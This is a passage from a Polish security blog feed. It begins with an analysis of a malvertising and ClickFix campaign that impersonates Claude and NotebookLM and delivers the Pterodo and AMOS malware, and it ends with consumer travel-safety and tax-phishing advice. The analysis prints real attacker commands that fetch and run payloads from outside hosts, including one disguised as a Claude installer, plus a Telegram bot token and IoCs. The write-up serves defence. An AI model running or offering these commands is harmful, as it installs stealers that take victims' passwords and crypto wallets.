Początkowo kampania wykorzystywała fałszywe strony związane z NotebookLM, jednak w toku dalszej obserwacji widoczna jest ewolucja w kierunku podszywania się pod narzędzia AI, w szczególności Claude. Trend ten jest spójny z szerszym krajobrazem zagrożeń – narzędzia AI, intensywnie wykorzystywane przez developerów, stały się atrakcyjnym wektorem socjotechnicznym.

Rys. 1a. Strona phishingowa podszywająca się pod NotebookLM.

Rys. 1b. Strona phishingowa podszywająca się pod Claude AI.

W całej kampanii wektor wejścia pozostaje niezmienny: użytkownik wyszukuje narzędzie (np. „Claude Code” lub „NotebookLM download”), a następnie trafia na sponsorowany link prowadzący do strony hostowanej w legalnej infrastrukturze (np. Squarespace, Tilkly lub Bitbucket Pages). Strony te nie zawierają bezpośrednio złośliwego kodu – dopiero interakcja użytkownika inicjuje właściwy łańcuch ataku.

Mechanizm ten odpowiada technice late-stage payload delivery. Jej zastosowanie przynosi kilka kluczowych korzyści z perspektywy atakującego. Wczesne etapy kampanii pozostają „czyste”, co znacząco utrudnia detekcję. Payload może być dostarczany selektywnie, np. w zależności od geolokalizacji, adresu IP czy typu przeglądarki. Dodatkowo możliwa jest dynamiczna rotacja złośliwego oprogramowania bez konieczności modyfikacji infrastruktury wejściowej. W rezultacie analiza incydentu wymaga rekonstrukcji pełnego łańcucha przekierowań i warunków logicznych.

Platformy takie jak Squarespace oraz serwisy pokroju Tilkly są często wykorzystywane przez atakujących na wczesnym etapie kampanii jako element infrastruktury pośredniczącej (tzw. staging lub delivery layer). Umożliwiają one szybkie i anonimowe tworzenie wiarygodnie wyglądających stron bez konieczności utrzymywania własnej infrastruktury.

Dzięki gotowym szablonom i obsłudze HTTPS takie strony mogą skutecznie podszywać się pod legalne usługi lub marki, zwiększając skuteczność phishingu i kampanii malvertisingowych, a jednocześnie utrudniając detekcję – ruch kierowany jest bowiem do domen o dobrej reputacji lub niskim poziomie podejrzeń. Dodatkowo wykorzystanie platform SaaS pozwala atakującym na łatwe rotowanie zasobów, szybkie odtwarzanie infrastruktury po jej zablokowaniu oraz ukrywanie właściwego payloadu za wieloetapowym łańcuchem przekierowań. To znacząco komplikuje analizę i reakcję po stronie zespołów bezpieczeństwa.

W analizowanych przypadkach infrastruktura SaaS wykorzystywana jest jedynie jako nośnik – właściwa strona phishingowa oraz kod znajdują się na zewnętrznym serwerze i są osadzane w iframe (rys. 2).

Rys. 2. Osadzenie kodu ze stroną phishingową.

Wykorzystanie infrastruktury serverless

W drugim etapie kampanii  dostarczania złośliwego oprogramowania atakujący przenieśli infrastrukturę na domeny Cloudflare Workers (workers.dev) oraz Cloudflare Pages (pages.dev). Należą one do ekosystemu Cloudflare i zapewniają serverless hosting oraz dystrybucję treści na globalnej infrastrukturze CDN. Usługi te umożliwiają uruchamianie kodu i publikowanie stron bez własnych serwerów, z automatycznym HTTPS i wysoką reputacją domen. To znacząco zwiększa skuteczność omijania filtrów bezpieczeństwa.

Z perspektywy atakującego kluczowe są: łatwość i szybkość wdrożenia (często bez silnej weryfikacji tożsamości), możliwość dynamicznego generowania odpowiedzi (np. selektywne dostarczanie payloadu zależnie od ofiary), a także trudność w blokowaniu. Ruch kierowany jest do współdzielonej, zaufanej infrastruktury CDN, której organizacje nie mogą łatwo zablokować bez wpływu na legalne usługi. Dodatkowo platformy te sprzyjają krótkotrwałym, rotującym artefaktom (ephemeral infrastructure), co utrudnia analizę śledczą i pozwala szybko odbudowywać kampanię po wykryciu, czyniąc je atrakcyjnym wyborem dla drugiego etapu dostarczania właściwej logiki ataku.

W analizowanym przypadku Workers pełni również funkcję selektora platformy, realizując prosty fingerprinting na podstawie User-Agent i kierując użytkownika do odpowiedniej ścieżki infekcji.

ClickFix jako mechanizm wykonania

Kolejny etap polega na wyświetleniu użytkownikowi instrukcji przypominającej technikę ClickFix. Nakłaniany jest on do uruchomienia wiersza poleceń i wykonania komendy, która została wcześniej automatycznie skopiowana do schowka. Zależnie od systemu operacyjnego (Windows lub macOS) prezentowane są różne warianty poleceń.

Rys. 3. Osadzenie install-modal.js.

Centralnym elementem logiki strony jest plik install-modal.js, który stanowi istotny artefakt korelacyjny pomiędzy kampaniami (Rys. 3) – występuje w niemal niezmienionej postaci w kolejnych kampaniach. Skrypt z rysunku 3 ujawnia również interesujące komentarze jego twórcy.

Funkcja get_commands deleguje wykonanie do modułu connector_bg.wasm, który posiada dostęp do mechanizmów takich jak fetch, localStorage, userAgent czy crypto.getRandomValues. Oznacza to, że właściwa logika generowania komend została ukryta poza warstwą JavaScript (pobierana dynamicznie z C2). W kodzie widoczne są również elementy anti-analysis, takie jak pomiar czasu wykonania, co może służyć do wykrywania środowisk sandboxowych lub debuggerów.

W nowszych wariantach kampanii (Claude AI) zrezygnowano z tej złożoności. Komendy są dostępne bezpośrednio w kodzie, co wskazuje na iteracyjne dostosowywanie technik do skuteczności operacyjnej.

Rys. 4a. Kluczowy kod odpowiedzialny za dostarczenie polecenia (wariant ”NotebookLM”).

Rys. 4b. Kluczowy kod odpowiedzialny za dostarczenie polecenia (wariant ”Claude AI”).

Ścieżka infekcji – Windows

Wariant Windows wykorzystuje technikę Living-off-the-Land poprzez mshta. Pozwala ona na wykonanie zdalnego zasobu bez klasycznego zapisu pliku na dysku.  W praktyce oznacza to, że payload może być dostarczony jako HTA lub dynamicznie generowany JavaScript/VBScript. Zastosowane domeny (np. stylizowane na repozytoria wersji) zwiększają wiarygodność infrastruktury. Łańcuch infekcji jest stosunkowo prosty – plik HTA lub skrypt jest pobierany i wykonywany bezpośrednio przez mshta.

Rys. 5a. Instalacja malware – wariant ”NotebookLM”

Rys. 5b. Instalacja malware – wariant ”Claude AI”

Finalnym payloadem jest plik claude.mp3, będący przykładem pliku poliglotycznego. Zawiera on metadane wskazujące na plik audio, podczas gdy rzeczywista zawartość to ukryty skrypt VBA.

Rys. 6. Metadane pliku claude.mp3.

Rys. 7. Kluczowy fragment pliku claude.mp3.

Po jego uruchomieniu wykonywany jest PowerShell z payloadem zakodowanym w Base64.

cmd /v:on /c "set x=pow&&set y=ershell&&call %windir%\SysWOW64\WindowsPowerShell\v1.0\!x!!y! -E  [base64_payload]"

W dalszym kroku, po zdekodowaniu zawartości ukrytej przy pomocy base64 otrzymujemy kod, który jest wykonywany.

Rys. 8. Zdekodowany powershell odpowiadający za pobranie malware.

Skrypt generuje identyfikator ofiary na podstawie nazwy hosta i użytkownika (hash MD5), który następnie wykorzystywany jest w komunikacji z serwerem C2.

Dalsze etapy obejmują wyłączenie walidacji TLS, implementację niestandardowego mechanizmu dekodowania (wariacja RC4) oraz wykonanie AMSI bypass poprzez patchowanie pamięci. Końcowy payload pobierany jest dynamicznie i wykonywany w pamięci (IEX), co wpisuje się w model late-stage delivery.

Efektem końcowym jest instalacja RAT Pterodo.

Ścieżka infekcji – macOS

Wariant macOS jest znacząco bardziej zaawansowany. W początkowej wersji wykorzystuje kombinację curl, tr oraz pipe do zsh, gdzie translacja znaków pełni funkcję lekkiej obfuskacji. Po dekodowaniu ujawnia się komunikacja z API Telegram, które pełni rolę kanału C2 lub repozytorium danych.

curl -sfkSL $(echo 't55subhh31:7/9f1m9oyh9012hv4/93e68prd6fplafccv4crdcfffrd8d3r6lea8c4r4f8r/8/.8pvcr.ped493pr'|tr 'mh6.dp4vr8lebfc93/at2yos1u507:' './0123456789:abcdefhlmoprstuvy')|zsh

Kod dekoduje się do API Telegram:

hxxps://api.telegram[.]org/bot6529184364:AAEdwM7o7w1Z5XJxQf5H2tHkVfV1mX2QeQ/getUpdates

Wykorzystanie API Telegrama jest coraz częściej obserwowaną techniką w kampaniach malware, ponieważ ruch do Telegrama jest często traktowany jako zaufany i rzadziej blokowany.

W nowszych wariantach (powiązanych z motywem Claude AI) Telegram został zastąpiony dedykowaną infrastrukturą HTTP. Zastosowano klasyczny łańcuch echo → rev → base64 → zsh, umożliwiający ukrycie właściwej komendy (payload jest najpierw zakodowany w base64, następnie odwrócony (rev), a na końcu dekodowany i bezpośrednio wykonywany w powłoce.). Taki zabieg pozwala ukryć właściwą komendę przed prostą analizą statyczną i omija część mechanizmów detekcji opartych o sygnatury.

Po dekodowaniu ujawnia się właściwe wywołanie curl, które z użyciem flag takich jak -sLSkf (ciche działanie, podążanie za przekierowaniami, ignorowanie błędów TLS) pobiera i natychmiast wykonuje zdalny skrypt przez zsh.

echo "Downloading Claude: https://claude.ai/install.sh" && echo 'oNne8diYyAzMmlzY1UjN1UWYlNWOygDO4UjZ4QmM3QzYxQDMldTY4IjYkZjN3IDNkFmM1UjMjBjN5kDZyUTOwIDM3IDZvwmc1N2Lt92YuoXdtNHck9yL6MHc0RHanAiIuBjayYGNgojUtglIggULgY2aTx0ctACbncic1NGI7AiO' | rev | base64 -D | zsh

Wykonywane jest polecenie

: ; cur''l -sLSkf -H "X-R: 4f2j0n" 'hxxps://dpsmuz[.]com/curl/d27020952d9960c2552ad42766db28a7e041c472d8f588829ceae5655c9f302b'|zsh

Interesującym elementem jest wykorzystanie niestandardowego nagłówka HTTP (X-R), który działa jako mechanizm kontroli dostępu – tylko odpowiednio spreparowane zapytania otrzymują payload.  A jest to:

#!/bin/zsh

kkacfo=$(base64 -D <<'PAYLOAD_END' | bunzip2

QlpoOTFBWSZTWebehlEAAAhZgAAQaQuAUD5n3lAgAGoahqbUNqNHqeoyaZBKp6jQemppoNMjTSqvCrBtbtUov2lByB2Gn1YD0wLO+XnPw6TVDvQDAGcElr3QHq8F9+aPUEC1QWULr0dx4lmDIiRImO5R/F3JFOFCQ5t6GUQ=

PAYLOAD_END

)

eval "$kkacfo"

W wyniku wykonania tego kodu mamy

#!/bin/zsh

curl -o /tmp/helper https://dpsmuz.com/n8n/update && xattr -c /tmp/helper && chmod +x /tmp/helper && /tmp/helper

Finalny etap prowadzi do pobrania i uruchomienia pliku helper.

Analiza próbki dla MacOS

Mamy do czynienia z zaawansowanym wieloetapowym loaderem przeznaczonym dla systemu macOS. Został on dostarczony jako uniwersalny binarny plik Mach-O, obsługujący zarówno architekturę x86_64, jak i arm64 (plik macOS Universal Binary (FAT) posiada dwa slice’y: x86_64 i arm64). Konstrukcja binarki wskazuje jednoznacznie, że nie jest to samodzielna aplikacja, lecz komponent bootstrapujący odpowiedzialny wyłącznie za rekonstrukcję i uruchomienie właściwego kodu w pamięci. Główna funkcja stanowi jedynie sekcję sterującą, natomiast większość logiki została przeniesiona do rozproszonych struktur danych ukrytych w segmentach __TEXT.__const oraz __DATA_CONST.__const.

Dane wejściowe dla procesu dekodowania zostały podzielone na 37 odrębnych części (chunków), które pełnią różne role w trakcie przetwarzania. Część z nich zawiera materiał klucza kryptograficznego, inne stanowią zaszyfrowane fragmenty kolejnych etapów payloadu, a pozostałe pełnią funkcję metadanych sterujących przepływem dekodowania. Taka struktura nie tylko komplikuje statyczną analizę, ale również wymusza pełną rekonstrukcję w analizie dynamicznej, ponieważ zależności pomiędzy „chunkami” ujawniają się dopiero w trakcie wykonywania kolejnych etapów kodu.

Klucz kryptograficzny nie jest przechowywany w postaci jawnej, lecz rekonstruowany dynamicznie z czterech dedykowanych fragmentów, a następnie poddawany szeregowi transformacji XOR, w tym operacjom z wartościami 0x34 oraz 0x8e. W efekcie powstaje ograniczony alfabet składający się z 16 znaków, który jest wykorzystywany przez niestandardowy dekoder implementujący własną wariację base64. Mechanizm ten operuje na poziomie 6-bitowego mapowania symboli i ręcznie zarządzanego akumulatora bitowego, co pozwala na rekonstrukcję oryginalnych danych bez użycia systemowych bibliotek kryptograficznych.

Centralnym elementem architektury jest funkcja dekodująca realizująca transformację strumienia danych poprzez mapowanie znaków klucza na indeksy oraz składanie ich w bajty wyjściowe za pomocą operacji przesunięć bitowych. Każdy etap wykonania wykorzystuje inny zestaw „chunków” oraz inną funkcję transformacyjną, obejmującą operacje XOR, NOT, arytmetykę zależną od stanu oraz proste mechanizmy sprzężenia zwrotnego. W rezultacie powstaje wielowarstwowy system przekształceń, który przypomina uproszczony, niestandardowy szyfr strumieniowy, mimo że jego implementacja nie ma właściwości kryptograficznych w sensie formalnym.

Proces wykonania końcowego payloadu jest szczególnie istotny z punktu widzenia analizy behawioralnej. Zamiast zapisu danych na dysku lub uruchomienia klasycznego binarnego modułu Mach-O, malware konstruuje finalny payload tekstowy, który następnie przekazywany jest bezpośrednio do interpretera /bin/zsh poprzez mechanizm pipe i fork. Oznacza to, że cały końcowy etap wykonania odbywa się w pamięci, bez generowania trwałych artefaktów systemowych, co znacząco utrudnia analizę powłamaniową i detekcję opartą na systemie plików.

Całość łańcucha ataku wskazuje na projekt typu in-memory loader, którego głównym celem jest rekonstrukcja i uruchomienie ukrytego payloadu w sposób maksymalnie utrudniający analizę statyczną oraz detekcję sygnaturową. Brak mechanizmów persystencji wynika z tego, iż próbka funkcjonuje jako komponent wcześniejszego etapu infekcji.

Całość prowadzi do uruchomienia malware z rodziny AMOS (Atomic macOS Stealer).

Analiza malware AMOS

Mimo, że główny rdzeń malware AMOS skompilowany jest w języku Go, do bezpośredniej interakcji z systemem ofiary wykorzystuje rozbudowane skrypty AppleScript. Analiza takiego skryptu (po wyekstrahowaniu w trakcie analizy dynamicznej) pozwala na precyzyjne określenie sposobu działania w systemie operacyjnym.

I tak, już na etapie inicjalizacji widoczna jest próba ukrycia kontekstu wykonania – skrypt zamyka proces Terminala, co sugeruje scenariusz uruchomienia poprzez łańcuch typu dropper → shell → osascript. Następnie definiowana jest infrastruktura pomocnicza obejmująca operacje na plikach, katalogach oraz logowanie zdarzeń do lokalnego katalogu roboczego tworzonego dynamicznie w /tmp (np. /tmp/shub_<losowy_id>/). Mechanizm ten pełni rolę pośredniego obszaru (staging area) dla danych przeznaczonych do eksfiltracji.

Rys. 9. Fragment kodu Apple Script uruchamiany w ramach infekcji AMOS Stealer’em.

Kluczowym elementem wczesnej fazy działania jest pozyskanie poświadczeń użytkownika. Skrypt wykorzystuje polecenie dscl.authonly, które pozwala na bezpośrednią walidację hasła lokalnego konta systemowego bez konieczności eskalacji uprawnień. W przypadku, gdy konto nie wymaga hasła, malware podejmuje próbę pozyskania sekretów z systemowego magazynu kluczy poprzez narzędzie security, celując m.in. w wpisy związane z przeglądarką Chrome. Jeżeli wymagane jest hasło, użytkownik jest wielokrotnie (do dziesięciu prób) proszony o jego podanie za pomocą spreparowanego okna dialogowego stylizowanego na komponent systemowy „System Preferences”. Mechanizm ten łączy socjotechnikę z natywną walidacją, zapewniając wysoką skuteczność pozyskiwania poprawnych danych uwierzytelniających.

Równolegle realizowana jest faza rozpoznania środowiska. Skrypt zbiera informacje o nazwie hosta, wersji systemu operacyjnego, nazwie użytkownika oraz zewnętrznym adresie IP (pozyskiwanym poprzez zapytania HTTP do publicznych usług). Dodatkowo analizowane są ustawienia klawiatury w celu identyfikacji potencjalnego pochodzenia geograficznego ofiary – obecność układu rosyjskiego skutkuje oznaczeniem systemu jako należącego do regionu CIS. Dane te są następnie wykorzystywane w komunikacji z serwerem C2.

Istotnym wyróżnikiem próbki jest rozbudowany mechanizm telemetrii. Malware komunikuje się z endpointem API, raportując kolejne etapy działania, takie jak rozpoczęcie wykonania, wynik pozyskiwania hasła czy postęp kolekcji danych. Każde zdarzenie zawiera zestaw metadanych, w tym identyfikator builda oraz fingerprint systemu ofiary. Wskazuje to na wykorzystanie zaplecza operatorskiego umożliwiającego monitorowanie kampanii w czasie rzeczywistym oraz potencjalne zarządzanie wieloma wariantami malware.

Jak działa AMOS

Główna funkcjonalność tego złośliwego oprogramowania obejmuje szeroki zakres aplikacji i artefaktów. Dla przeglądarek opartych na Chromium malware iteruje po profilach użytkownika, kopiując bazy danych zawierające cookies, zapisane loginy oraz dane formularzy. Dodatkowo analizowane są katalogi rozszerzeń, co pozwala na selektywne pozyskiwanie danych z popularnych wtyczek, w tym portfeli kryptowalutowych. Analogiczne działania prowadzone są wobec przeglądarek z rodziny Gecko (Firefox), gdzie przejmowane są pliki takie jak logins.json czy key4.db, umożliwiające odszyfrowanie zapisanych poświadczeń.

Szczególny nacisk położono na kradzież danych związanych z kryptowalutami. Malware zawiera rozbudowaną listę identyfikatorów rozszerzeń przeglądarkowych odpowiadających popularnym portfelom, co pozwala na precyzyjne targetowanie danych takich jak seed phrase czy klucze prywatne. Równolegle przeszukiwane są katalogi lokalnych aplikacji portfelowych (m.in. Exodus, Electrum, Atomic, Wasabi), a ich zawartość kopiowana jest z zastosowaniem limitów wielkości, aby zoptymalizować proces eksfiltracji.

Dodatkowe moduły obejmują kradzież sesji komunikatora Telegram poprzez kopiowanie katalogu tdata, pozyskiwanie zawartości systemowego Keychain oraz danych kont iCloud. Funkcja Filegrabber rozszerza zakres działania o dokumenty użytkownika, przeszukując katalogi Desktop i Documents pod kątem plików o określonych rozszerzeniach, przy jednoczesnym ograniczeniu rozmiaru i liczby kopiowanych danych.

Po zakończeniu fazy zbierania danych malware kompresuje zgromadzone artefakty do archiwum ZIP, wykorzystując narzędzie ditto. W zależności od rozmiaru paczki stosowany jest mechanizm jednorazowego przesyłu lub fragmentacji na mniejsze części (chunking), co pozwala ominąć ograniczenia transferowe i zwiększyć niezawodność eksfiltracji. Transfer realizowany jest poprzez żądania HTTP POST do dedykowanego endpointu, wraz z dodatkowymi parametrami identyfikującymi ofiarę oraz stan kompromitacji.

Jednym z najbardziej zaawansowanych elementów analizowanego kodu jest mechanizm ingerencji w zainstalowane aplikacje portfeli kryptowalutowych. W przypadku wykrycia określonych aplikacji malware pobiera z serwera C2 zmodyfikowane archiwa app.asar, które następnie podmienia w katalogach aplikacji. Proces ten obejmuje zatrzymanie aplikacji, skopiowanie jej struktury, podmianę komponentów oraz ponowne podpisanie binariów przy użyciu lokalnego podpisu ad-hoc. W efekcie uzyskiwana jest trwała kompromitacja aplikacji portfelowej, umożliwiająca dalsze przechwytywanie danych użytkownika.

Trwałość w systemie realizowana jest poprzez utworzenie fałszywej aplikacji aktualizacyjnej w katalogu przypominającym komponenty Google oraz zarejestrowanie LaunchAgenta uruchamianego cyklicznie co 60 sekund. Agent ten komunikuje się z serwerem C2, pobierając zakodowane w Base64 polecenia, które następnie wykonywane są lokalnie. Mechanizm ten przekształca malware w lekki implant typu backdoor, umożliwiający operatorowi zdalne wykonywanie dowolnego kodu na skompromitowanym systemie.

Całość działania kończy się usunięciem artefaktów tymczasowych w celu utrudnienia analizy powłamaniowej. Jednakże ustanowienie opisanej wyżej trwałości (persystencji) oraz potencjalnie zmodyfikowanych aplikacji sprawia, że kompromitacja systemu ma charakter długotrwały i wykracza poza jednorazową kradzież danych.

Podsumowanie

Analizowana kampania stanowi przykład dojrzałej operacji malware delivery, w której kluczową rolę odgrywa wykorzystanie zaufanej infrastruktury SaaS oraz serverless. Połączenie SEO poisoning, ClickFix oraz late-stage payload delivery pozwala skutecznie omijać mechanizmy detekcji i utrudnia analizę.

Widoczna jest wyraźna ewolucja technik – od złożonych mechanizmów ukrywania logiki (WASM, Telegram) do bardziej bezpośrednich, ale nadal skutecznych metod dystrybucji payloadu. Wskazuje to na ciągłe dostosowywanie kampanii do warunków operacyjnych i reakcji obrońców.

Szczególnie istotne jest wykorzystanie współdzielonej infrastruktury (Cloudflare, Squarespace), która znacząco utrudnia blokowanie oraz rosnąca rola socjotechniki opartej na narzędziach AI.

Techniki MITRE ATT&CK

IoC

Landing Pages (SaaS / phishing layer)

notebooklm.squarespace[.]com
notebooklm-last-version.squarespace[.]com
notebooklm-new-ver.squarespace[.]com
notebooklm-update-version.squarespace[.]com
notebooklm-version-upd.squarespace[.]com
claude-code-learn.tilkly[.]com
claude-code-page.bitbucket[.]io
iina-technical[.]com

ClickFix / staging (Cloudflare Workers & Pages)

load-notebooklm.google-mac-app.workers[.]dev
atlapp.pages[.]dev
bsbdsbs.pages[.]dev
claude-code-info.pages[.]dev
claude-code-main.pages[.]dev
claudepage.pages[.]dev
cursor-download-center.pages[.]dev
fdfwasrgwrhfdgvwr.pages[.]dev
hb8uu38hbx872bv28dbh29.pages[.]dev
man-5klfdsk134k13412-note.pages[.]dev
nhb227nbx872bd6723g4d.pages[.]dev
not-9rw.pages[.]dev
noteapp-d01.pages[.]dev
notebooklm-google-app.pages[.]dev
notebooklm-page.pages[.]dev
notegamskardas.pages[.]dev
noteklmgoodk.pages[.]dev
notembkasjokk.pages[.]dev
sceqdsxcqdfcd.pages[.]dev
uih9ehfbhdbfqudbfidfcikqhnegf.pages[.]dev
lingering-river-05fent.johnson-joseph85.workers[.]dev

Malware Delivery / C2 Infrastructure

download-version.1-8-3[].com
download.version-516[.]com
dpsmuz[.]com
oakenfjrod[.]ru

URL (payload delivery / C2)

https://download-version.1-8-3[.]com/notebooklm
https://download.version-516[.]com/claude
https://dpsmuz[.]com/curl/d27020952d9960c2552ad42766db28a7e041c472d8f588829ceae5655c9f302b
https://dpsmuz[.]com/n8n/update
https://[MD5(victim_ID)].oakenfjrod[.]ru/cloude-91267b64-989f-49b4-89b4-984e0154d4d1
https://api.telegram[.]org/bot6529184364:AAEdwM7o7w1Z5XJxQf5H2tHkVfV1mX2QeQ/getUpdates

Pliki (payload)

Windows
Nazwa: claude.mp3
SHA256: 1df4207e9ad772c0ef96e35a2756626b4af5065f1296bfb7b0520695d4200350
Typ: polyglot (MP3 + VBA → PowerShell loader)

macOS
Nazwa: helper
SHA256: c8fd1222c3f70f91c401b008711629bf053874dfec315a48758a032acd114b1a
Typ: Mach-O Universal Binary (loader, in-memory execution)

The post Wieloetapowa kampania malware delivery z wykorzystaniem SEO poisoning i infrastruktury serverless appeared first on CERT Orange.

Jeszcze nie macie pewności, gdzie chcecie pojechać? A może już wkładacie kluczyk do stacyjki i nagle przychodzi wiadomość, że z Waszą rezerwacją jest coś nie tak? Pamiętajcie, że co nagle to po diable i gdy kierują nami emocje – łatwiej dać się oszukać.

Mail od hotelu nie musi być prawdziwy

Mail na ostatnią chwilę, że coś jest nie tak z naszą rezerwacją? To praktyka stosowana przez oszustów tuż przed okresem wakacyjnym, czy właśnie terminami kojarzonymi z wyjazdami. Na początku roku, przed feriami zimowymi, Julia Jancelewicz opisywała na naszych łamach przypadek przestępców podszywających się pod tatrzańskie schronisko Murowaniec. Do ofiar trafiły maile sugerujące konieczność potwierdzenia rezerwacji. Po kliknięciu w link przechodziliśmy na stronę, gdzie proszono nas o dane karty płatniczej. Trafiały one oczywiście do oszustów.

Skąd złodzieje mają w takich sytuacjach dane ofiar? Z systemu rezerwacyjnego obiektu, do którego wcześniej się włamali (np. podsyłając mail phishingowy). Może się więc zdarzyć, że nawet adres nadawcy będzie prawdziwy, podobnie jak szczegółowe dane Twojej rezerwacji.

Na co uważać, by nie dać się oszukać? Przede wszystkim pamiętać o tym, co powtarzamy od lat:

Im więcej emocji wywołuje w Tobie treść otrzymanej wiadomości
– tym więcej czasu poświęć na jej spokojne przeanalizowanie!

• spójrz na adres nadawcy
• sprawdź numer rezerwacji
• jeśli wciąż masz wątpliwości – wejdź na stronę docelową i sprawdź jej adres (jeśli nie wpiszesz danych karty/nie zalogujesz się do banku – nie stanie się nic złego)

Ostrożnie z sejfem

Załóżmy jednak, że wszystko się udało i wycieczka dotarła szczęśliwie na miejsce. Na co wtedy uważać?

Jeśli mieszkacie w hotelu, istotnym elementem jego wyposażenia jest sejf. Przede wszystkim dlatego, że można w nim zamknąć wszelkie wartościowe gadżety, z którymi nie zawsze warto chodzić na wszystkie wycieczki. Oczywiście odradzamy PIN-y w stylu 1111, czy 1234. Jasne, ryzyko, że w ogóle ktoś wejdzie do naszego pokoju jest nikłe, ale nie ma co kusić licha.

Co jednak jeśli wymyślimy PIN tak trudny, że… sami go zapomnimy? Niektóre sejfy mają możliwość otwarcia przy użyciu klucza dostępnego dla obsługi technicznej hotelu. Zanim jednak poprosimy o pomoc – warto samemu sprawdzić model sejfu i poszukać na Youtube poradnika jak zresetować kod.

A właśnie, Youtube. Choć zdecydowanie radzimy aktywność fizyczną przy wyjeździe na majówkę, może się okazać, że jakiś czas spędzicie przed hotelowym telewizorem. A jeśli przyjdzie Wam do głowy zalogować się tam Youtube (a korzystacie z wersji Premium), czy do aplikacji VOD – pamiętajcie, by wylogować się z nich przed wyjazdem!

Na majówkę najlepszy BLIK

O ile Polska może być wzorem dla większości krajów świata jeśli chodzi o płatności bezgotówkowe, może się zdarzyć, że przyda się Wam gotówka. Choć większość z nas preferuje pieniądz cyfrowy, znalezienie bankomatu nie stanowi problemu. A gdy już do niego dotrzecie:

• sprawdźcie, czy klawiatura wygląda solidnie – czy np. nie robi wrażenia nałożonej na bankomat
• upewnijcie się, czy slot na kartę jest stabilny, nie rusza się
• obowiązkowo zasłońcie klawiaturę przy wpisywaniu kodu PIN

Jeśli macie jakiekolwiek wątpliwości co do bankomatu – nie wypłacajcie z niego pieniędzy, poszukajcie innego. A najlepiej skorzystajcie z BLIK-a. Polski Standard Płatności to najbezpieczniejszy sposób m.in. na wypłatę gotówki. Jednorazowy kod ważny jest przez dwie minuty, a konieczność potwierdzenia wypłaty w aplikacji banku sprawia, że tylko my możemy to zrobić. Trzeba jednak pamiętać, by przed potwierdzeniem upewnić się, że akceptujemy właściwą transakcję!

Dla płatności kartą natomiast warto korzystać z funkcjonalności naszych telefonów, czyli Portfela Google i Apple Wallet. W takiej sytuacji do terminala płatniczego nie trafiają dane naszej karty płatniczej, a jedynie tzw. token wygenerowany przez aplikację, niemożliwy do powiązania z faktyczną kartą. Mobilnych portfeli warto też używać dla kart pokładowych, jeśli wybieramy się w podróż samolotem. Ryzyko zgubienia telefonu jest znacznie mniejsze niż kartki z boarding passem.

Bezpieczny telefon, a w chmurze… nie tylko zdjęcia

A skoro już o telefonach mowa… Czy wiesz co zrobić, gdy zgubisz smartfona? Masz świadomość, że nawet jeśli masz wyciszony dzwonek, z poziomu strony WWW możesz sprawić, by Twoje urządzenie głośno zadzwoniło?

Gdzie znaleźć tę stronę?

• dla Androida – https://www.google.com/android/find/?login
• dla iPhone – https://www.icloud.com/find

Warto też wpisać w ustawieniach telefonu informację, zawierającą numer telefonu, pod który można zadzwonić, gdy masz szczęście i komuś uda się znaleźć Twojego smartfona. Przynajmniej kilkakrotnie spotkaliśmy się z sytuacją, gdy taka informacja faktycznie się przydała!

Może się jednak zdarzyć, że nie odnajdziesz telefonu – wtedy warto zachować przynajmniej wspomnienia z wycieczki. Pytanie tylko, czy masz włączone zapisywanie zdjęć w systemowej chmurze? A jeśli masz – spójrz ile masz jeszcze w niej miejsca? Być może już się kończy – wtedy warto wyczyścić stare zdjęcia przed wyjazdem, żeby zrobić miejsca na nowe.

Chcesz polatać dronem?

A skoro już o chmurze mowa, część z Was być zabierze ze sobą na wycieczkę drona. A czy wiecie, że korzystając z Bezzałogowego Statku Powietrznego w Polsce macie obowiązek zgłoszenia lotu w aplikacji Drone Tower? Nawet w przypadku drona Class 0 (czyli popularnej serii DJI Mini). Brak zgłoszenia może wiązać się z poważnymi konsekwencjami finansowymi. Podobnie w przypadku lotów BSP za granicą – jeśli więc jadąc na majówkę macie plan na piękne zdjęcia z góry – sprawdźcie najpierw obwarowania prawne „dronowania” w kraju docelowym.

A przede wszystkim bawcie się dobrze, wypocznijcie i bądźcie (nie tylko cyber) bezpieczni!

The post Jedziesz na majówkę? Odpoczywaj bezpiecznie appeared first on CERT Orange.

Schemat prób wyłudzenia, które obserwujemy o tej porze co roku, jest niemal identyczny:

• wiadomość SMS o treści powiązanej z podatkami
  • nadawcą zazwyczaj jest zwykły numer
  • zdarzają się nadpisy przypominające zwroty „gov”, Finanse” lub „Podatki” w wariancie, który jeszcze nie został zablokowany odgórnie na podstawie zapisów Ustawy o zwalczaniu nadużyć w komunikacji elektronicznej
• dwa warianty wiadomości:
  • ostrzeżenie o niedopłacie podatku i potencjalnych konsekwencjach
  • informacja o czekającej na zwrot nadpłacie podatku
• link w treści SMS-a mogący prowadzić do strony z adresem do złudzenia przypominającym witryny rządowe
• strona docelowa w kolorystyce serwisów rządowych, z logowaniem możliwym wyłącznie przy użyciu konta bankowego

Zdarza się, że oszuści pozostawiają na swojej stronie wyszarzone opcje logowania przy użyciu Profilu Zaufanego, e-Dowodu, czy aplikacji mObywatel, dodając informację o problemach, czy awarii.

Choć dominującą metodą dotarcia do ofiar jest SMS, może się zdarzyć również kampania phishingowa „na rozliczenie PIT” wysyłana e-mailem. Poniżej przykład, który otrzymaliśmy od naszego czytelnika. Ty też możesz pomóc innym! Jeśli dostaniesz wiadomość, która wydaje Ci się podejrzana – kliknij przycisk „Zgłoś zagrożenie” na górze strony i prześlij ją do nas.

Opisany dalej schemat działania jest identyczny w obu sytuacjach.

Pomyśl zanim cokolwiek potwierdzisz – scenariusz oszustwa

Strona na którą trafiamy, jest oczywiście fałszywa i wyłudza dostęp do bankowości elektronicznej. Po wpisaniu danych logowania do banku trafiają one bezpośrednio do rąk oszusta. Przy tego typu kampaniach przestępcy siedzą przy komputerze i na bieżąco zajmują się wpisanymi na swojej stronie danymi. Dlaczego?

Jeśli regularnie logujesz się do banku, masz zapewne świadomość, że jeśli robisz to przez stronę – musisz potwierdzić komunikat push w aplikacji mobilnej lub wpisać kod z SMS-a. To efekt wprowadzenia 7 lat temu dyrektywy PSD2, która m.in. zobowiązuje banki do używania dodatkowego składnika przy potwierdzaniu tożsamości klienta.

Przestępca nie zaloguje się więc do banku dysponując wyłącznie Twoim hasłem. Potrzebuje kliknięcia zgody w komunikacie push lub podania mu kodu z SMS-a. Musi to zrobić od razu – jeśli dostaniesz kod SMS później, nie będzie gdzie go wpisać, a przychodzący nagle komunikat push może sprawić, że zorientujesz się, iż masz do czynienia z oszustwem.

Jak nie dać się oszukać?

Zawsze stosuj zasadę ograniczonego zaufania jeśli chodzi o SMS-y oraz e-maile:

• od nieznajomych
• z linkami
